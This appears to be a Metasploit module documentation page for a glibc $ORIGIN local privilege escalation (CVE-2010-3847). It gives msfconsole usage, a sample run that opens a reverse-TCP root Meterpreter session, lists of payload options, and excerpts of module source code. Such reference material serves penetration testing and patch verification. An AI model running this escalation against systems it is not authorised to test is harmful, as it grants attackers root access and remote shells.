glibc '$ORIGIN' Expansion Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/glibc_origin_expansion_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: glibc '$ORIGIN' Expansion Privilege Escalation
Module: exploit/linux/local/glibc_origin_expansion_priv_esc
Source code: modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb
Disclosure date: 2010-10-18
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2010-3847
This module attempts to gain root privileges on Linux
systems by abusing a vulnerability in the GNU C Library
(glibc) dynamic linker. glibc ld.so versions before
2.11.3, and 2.12.x before 2.12.2 does not properly restrict
use of the LD_AUDIT environment variable when loading
setuid executables which allows control over the $ORIGIN
library search path resulting in execution of arbitrary
shared objects. This module opens a file descriptor to the
specified suid executable via a hard link, then replaces the
hard link with a shared object before instructing the linker
to execute the file descriptor, resulting in arbitrary code
execution. The specified setuid binary must be readable and
located on the same file system partition as the specified
writable directory. This module has been tested successfully
on: glibc 2.5 on CentOS 5.4 (x86_64); glibc 2.5 on CentOS
5.5 (x86_64); glibc 2.12 on Fedora 13 (i386); and glibc
2.5-49 on RHEL 5.5 (x86_64). Some versions of ld.so, such
as the version shipped with Ubuntu 14, hit a failed
assertion in dl_open_worker causing exploitation to fail.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/glibc_origin_expansion_priv_esc
msf exploit(glibc_origin_expansion_priv_esc) > show targets
... a list of targets ...
msf exploit(glibc_origin_expansion_priv_esc) > set TARGET target-id
msf exploit(glibc_origin_expansion_priv_esc) > show options
... show and set options ...
msf exploit(glibc_origin_expansion_priv_esc) > set SESSION session-id
msf exploit(glibc_origin_expansion_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker.
Vulnerable Application
glibc ld.so versions before 2.11.3, and 2.12.x before 2.12.2 does not
properly restrict use of the LD_AUDIT environment variable when loading
setuid executables which allows control over the $ORIGIN library search
path resulting in execution of arbitrary shared objects.
This module opens a file descriptor to the specified suid executable via a hard link, then replaces the hard link with a shared object before instructing the linker to execute the file descriptor, resulting in arbitrary code execution.
The specified setuid binary must be readable and located on the same file system partition as the specified writable directory.
This module has been tested successfully on:
- glibc 2.5 on CentOS 5.4 (x86_64)
- glibc 2.5 on CentOS 5.5 (x86_64)
- glibc 2.12 on Fedora 13 (i386)
- glibc 2.5-49 on RHEL 5.5 (x86_64)
Some versions of ld.so, such as the version shipped with Ubuntu 14,
hit a failed assertion in dl_open_worker causing exploitation to fail.
Verification Steps
- Start
msfconsole - Get a session
- Do:
use exploit/linux/local/glibc_origin_expansion_priv_esc - Do:
set SESSION [SESSION] - Do:
check - Do:
run - You should get a new root session
Options
SESSION
Which session to use, which can be viewed with sessions
WritableDir
A writable directory file system path. (default: /tmp)
Scenarios
msf > use exploit/linux/local/glibc_origin_expansion_priv_esc
msf exploit(linux/local/glibc_origin_expansion_priv_esc) > set session 1
session => 1
msf exploit(linux/local/glibc_origin_expansion_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.244:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.R5Ork' (1279 bytes) ...
[*] Writing '/tmp/.yE35DWbLd' (320 bytes) ...
[*] Writing '/tmp/.sk7Z3Vl7vJ' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (857352 bytes) to 172.16.191.138
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.138:59187) at 2018-01-27 04:21:24 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : fedora13.localdomain
OS : Fedora 13 (Linux 2.6.33.3-85.fc13.i686.PAE)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/local/glibc_origin_expansion_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/glibc_origin_expansion_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_origin_expansion_priv_esc) > show info
Name: glibc '$ORIGIN' Expansion Privilege Escalation
Module: exploit/linux/local/glibc_origin_expansion_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2010-10-18
Provided by:
Tavis Ormandy
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 Linux x86
2 Linux x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SUID_EXECUTABLE /bin/ping yes Path to a suid executable
Payload information:
Description:
This module attempts to gain root privileges on Linux systems by
abusing a vulnerability in the GNU C Library (glibc) dynamic linker.
glibc `ld.so` versions before 2.11.3, and 2.12.x before 2.12.2 does
not properly restrict use of the `LD_AUDIT` environment variable
when loading setuid executables which allows control over the
`$ORIGIN` library search path resulting in execution of arbitrary
shared objects. This module opens a file descriptor to the specified
suid executable via a hard link, then replaces the hard link with a
shared object before instructing the linker to execute the file
descriptor, resulting in arbitrary code execution. The specified
setuid binary must be readable and located on the same file system
partition as the specified writable directory. This module has been
tested successfully on: glibc 2.5 on CentOS 5.4 (x86_64); glibc 2.5
on CentOS 5.5 (x86_64); glibc 2.12 on Fedora 13 (i386); and glibc
2.5-49 on RHEL 5.5 (x86_64). Some versions of `ld.so`, such as the
version shipped with Ubuntu 14, hit a failed assertion in
`dl_open_worker` causing exploitation to fail.
References:
https://nvd.nist.gov/vuln/detail/CVE-2010-3847
http://www.securityfocus.com/bid/44154
https://www.exploit-db.com/exploits/15274
https://seclists.org/fulldisclosure/2010/Oct/257
https://www.ubuntu.com/usn/usn-1009-1
https://security-tracker.debian.org/tracker/CVE-2010-3847
https://access.redhat.com/security/cve/CVE-2010-3847
Module Options
This is a complete list of options available in the linux/local/glibc_origin_expansion_priv_esc exploit:
msf6 exploit(linux/local/glibc_origin_expansion_priv_esc) > show options
Module options (exploit/linux/local/glibc_origin_expansion_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
SUID_EXECUTABLE /bin/ping yes Path to a suid executable
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/local/glibc_origin_expansion_priv_esc exploit:
msf6 exploit(linux/local/glibc_origin_expansion_priv_esc) > show advanced
Module advanced options (exploit/linux/local/glibc_origin_expansion_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/glibc_origin_expansion_priv_esc module can exploit:
msf6 exploit(linux/local/glibc_origin_expansion_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Linux x86
2 Linux x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/glibc_origin_expansion_priv_esc exploit:
msf6 exploit(linux/local/glibc_origin_expansion_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/chmod normal No Linux Chmod
19 payload/linux/x86/exec normal No Linux Execute Command
20 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
21 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
22 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
23 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
26 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
27 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
30 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
31 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
32 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
33 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
34 payload/linux/x86/read_file normal No Linux Read File
35 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
36 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
37 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
38 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
41 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
42 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
45 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
46 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
47 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
48 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/glibc_origin_expansion_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/glibc_origin_expansion_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Could not determine the GNU C library version
- GNU C Library version <V> is not vulnerable
- <SUID_EXE_PATH> is not setuid
- <SUID_EXE_PATH> is not readable
- <SUID_EXE_PATH> is not suid or not readable
- Target is not vulnerable
- Session already has root privileges
- <BASE_DIR> is not writable
- '<SUID_EXE_PATH>' and '<BASE_DIR>' are not located on the same partition
- Unable to automatically select a target
- Target is not compatible
- Metasm encoding failed: <VALUE>
- Metasm encoding failed
- Metasm encoding failed
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not determine the GNU C library version
Here is a relevant code snippet related to the "Could not determine the GNU C library version" error message:
88: end
89:
90: def check
91: v = Rex::Version.new glibc_version
92: if v.eql? ''
93: vprint_error 'Could not determine the GNU C library version'
94: return CheckCode::Safe
95: end
96:
97: if v >= Rex::Version.new('2.12.2') ||
98: (v >= Rex::Version.new('2.11.3') && v < Rex::Version.new('2.12'))
GNU C Library version <V> is not vulnerable
Here is a relevant code snippet related to the "GNU C Library version <V> is not vulnerable" error message:
94: return CheckCode::Safe
95: end
96:
97: if v >= Rex::Version.new('2.12.2') ||
98: (v >= Rex::Version.new('2.11.3') && v < Rex::Version.new('2.12'))
99: vprint_error "GNU C Library version #{v} is not vulnerable"
100: return CheckCode::Safe
101: end
102: vprint_good "GNU C Library version #{v} appears vulnerable"
103:
104: unless setuid? suid_exe_path
<SUID_EXE_PATH> is not setuid
Here is a relevant code snippet related to the "<SUID_EXE_PATH> is not setuid" error message:
100: return CheckCode::Safe
101: end
102: vprint_good "GNU C Library version #{v} appears vulnerable"
103:
104: unless setuid? suid_exe_path
105: vprint_error "#{suid_exe_path} is not setuid"
106: return CheckCode::Detected
107: end
108: vprint_good "#{suid_exe_path} is setuid"
109:
110: unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
<SUID_EXE_PATH> is not readable
Here is a relevant code snippet related to the "<SUID_EXE_PATH> is not readable" error message:
106: return CheckCode::Detected
107: end
108: vprint_good "#{suid_exe_path} is setuid"
109:
110: unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
111: vprint_error("#{suid_exe_path} is not readable")
112: return CheckCode::Detected
113: end
114: vprint_good "#{suid_exe_path} is readable"
115:
116: CheckCode::Appears
<SUID_EXE_PATH> is not suid or not readable
Here is a relevant code snippet related to the "<SUID_EXE_PATH> is not suid or not readable" error message:
132: check_status = check
133:
134: if check_status == CheckCode::Appears
135: print_good 'The target appears to be vulnerable'
136: elsif check_status == CheckCode::Detected
137: fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
138: else
139: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
140: end
141:
142: if is_root?
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
134: if check_status == CheckCode::Appears
135: print_good 'The target appears to be vulnerable'
136: elsif check_status == CheckCode::Detected
137: fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
138: else
139: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
140: end
141:
142: if is_root?
143: fail_with Failure::BadConfig, 'Session already has root privileges'
144: end
Session already has root privileges
Here is a relevant code snippet related to the "Session already has root privileges" error message:
138: else
139: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
140: end
141:
142: if is_root?
143: fail_with Failure::BadConfig, 'Session already has root privileges'
144: end
145:
146: unless writable? base_dir
147: fail_with Failure::BadConfig, "#{base_dir} is not writable"
148: end
<BASE_DIR> is not writable
Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:
142: if is_root?
143: fail_with Failure::BadConfig, 'Session already has root privileges'
144: end
145:
146: unless writable? base_dir
147: fail_with Failure::BadConfig, "#{base_dir} is not writable"
148: end
149:
150: suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
151: base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
152: if suid_partition == base_partition
'<SUID_EXE_PATH>' and '<BASE_DIR>' are not located on the same partition
Here is a relevant code snippet related to the "'<SUID_EXE_PATH>' and '<BASE_DIR>' are not located on the same partition" error message:
150: suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
151: base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
152: if suid_partition == base_partition
153: vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
154: else
155: print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
156: end
157:
158: payload_name = ".#{rand_text_alphanumeric 5..10}"
159: payload_path = "#{base_dir}/#{payload_name}"
160:
Unable to automatically select a target
Here is a relevant code snippet related to the "Unable to automatically select a target" error message:
166: when 'x86_64'
167: my_target = targets[2]
168: when /x86/, /i\d86/
169: my_target = targets[1]
170: else
171: fail_with Failure::NoTarget, 'Unable to automatically select a target'
172: end
173: else
174: my_target = target
175: end
176: print_status "Using target: #{my_target.name}"
Target is not compatible
Here is a relevant code snippet related to the "Target is not compatible" error message:
180: when ARCH_X86
181: cpu = Metasm::Ia32.new
182: when ARCH_X64
183: cpu = Metasm::X86_64.new
184: else
185: fail_with Failure::NoTarget, 'Target is not compatible'
186: end
187:
188: # Compile shared object
189: so_stub = %|
190: extern int setuid(int);
Metasm encoding failed: <VALUE>
Here is a relevant code snippet related to the "Metasm encoding failed: <VALUE>" error message:
201: |
202:
203: begin
204: so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
205: rescue => e
206: print_error "Metasm encoding failed: #{$ERROR_INFO}"
207: elog('Metasm encoding failed', error: e)
208: fail_with Failure::Unknown, 'Metasm encoding failed'
209: end
210:
211: # Upload shared object
Metasm encoding failed
Here is a relevant code snippet related to the "Metasm encoding failed" error message:
202:
203: begin
204: so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
205: rescue => e
206: print_error "Metasm encoding failed: #{$ERROR_INFO}"
207: elog('Metasm encoding failed', error: e)
208: fail_with Failure::Unknown, 'Metasm encoding failed'
209: end
210:
211: # Upload shared object
212: so_name = ".#{rand_text_alphanumeric 5..10}"
Metasm encoding failed
Here is a relevant code snippet related to the "Metasm encoding failed" error message:
203: begin
204: so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
205: rescue => e
206: print_error "Metasm encoding failed: #{$ERROR_INFO}"
207: elog('Metasm encoding failed', error: e)
208: fail_with Failure::Unknown, 'Metasm encoding failed'
209: end
210:
211: # Upload shared object
212: so_name = ".#{rand_text_alphanumeric 5..10}"
213: so_path = "#{base_dir}/#{so_name}"
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13608 Merged Pull Request: Standardise Error Logging
- #11753 Merged Pull Request: Fix file description and update tested versions
- #11234 Merged Pull Request: revisionism
- #11090 Merged Pull Request: Code cleanup and update style
- #10783 Merged Pull Request: Make WritableDir an advanced option
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #9536 Merged Pull Request: Add Ubuntu notes to documentation
References
- CVE-2010-3847
- BID-44154
- EDB-15274
- https://seclists.org/fulldisclosure/2010/Oct/257
- https://www.ubuntu.com/usn/usn-1009-1
- https://security-tracker.debian.org/tracker/CVE-2010-3847
- https://access.redhat.com/security/cve/CVE-2010-3847
See Also
Check also the following modules related to this module:
Related Nessus plugins:
- NewStart CGSL MAIN 5.04 : glibc Multiple Vulnerabilities (NS-SA-2019-0012)
- Fedora 14 : glibc-2.12.90-17 (2010-16308)
- Mandriva Linux Security Advisory : glibc (MDVSA-2010:207)
- RHEL 5 : glibc (RHSA-2010:0787)
- Slackware 12.0 / 12.1 / 12.2 / 13.0 / 13.1 / current : glibc (SSA:2010-295-01)
- Debian DSA-2122-1 : glibc - missing input sanitization
- Fedora 13 : glibc-2.12.1-3 (2010-16594)
- Ubuntu 8.04 LTS / 9.04 / 9.10 / 10.04 LTS / 10.10 : glibc, eglibc vulnerabilities (USN-1009-1)
- openSUSE Security Update : glibc (openSUSE-SU-2010:0914-1)
- openSUSE Security Update : glibc (openSUSE-SU-2010:0913-1)
Authors
- Tavis Ormandy
- bcoles
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
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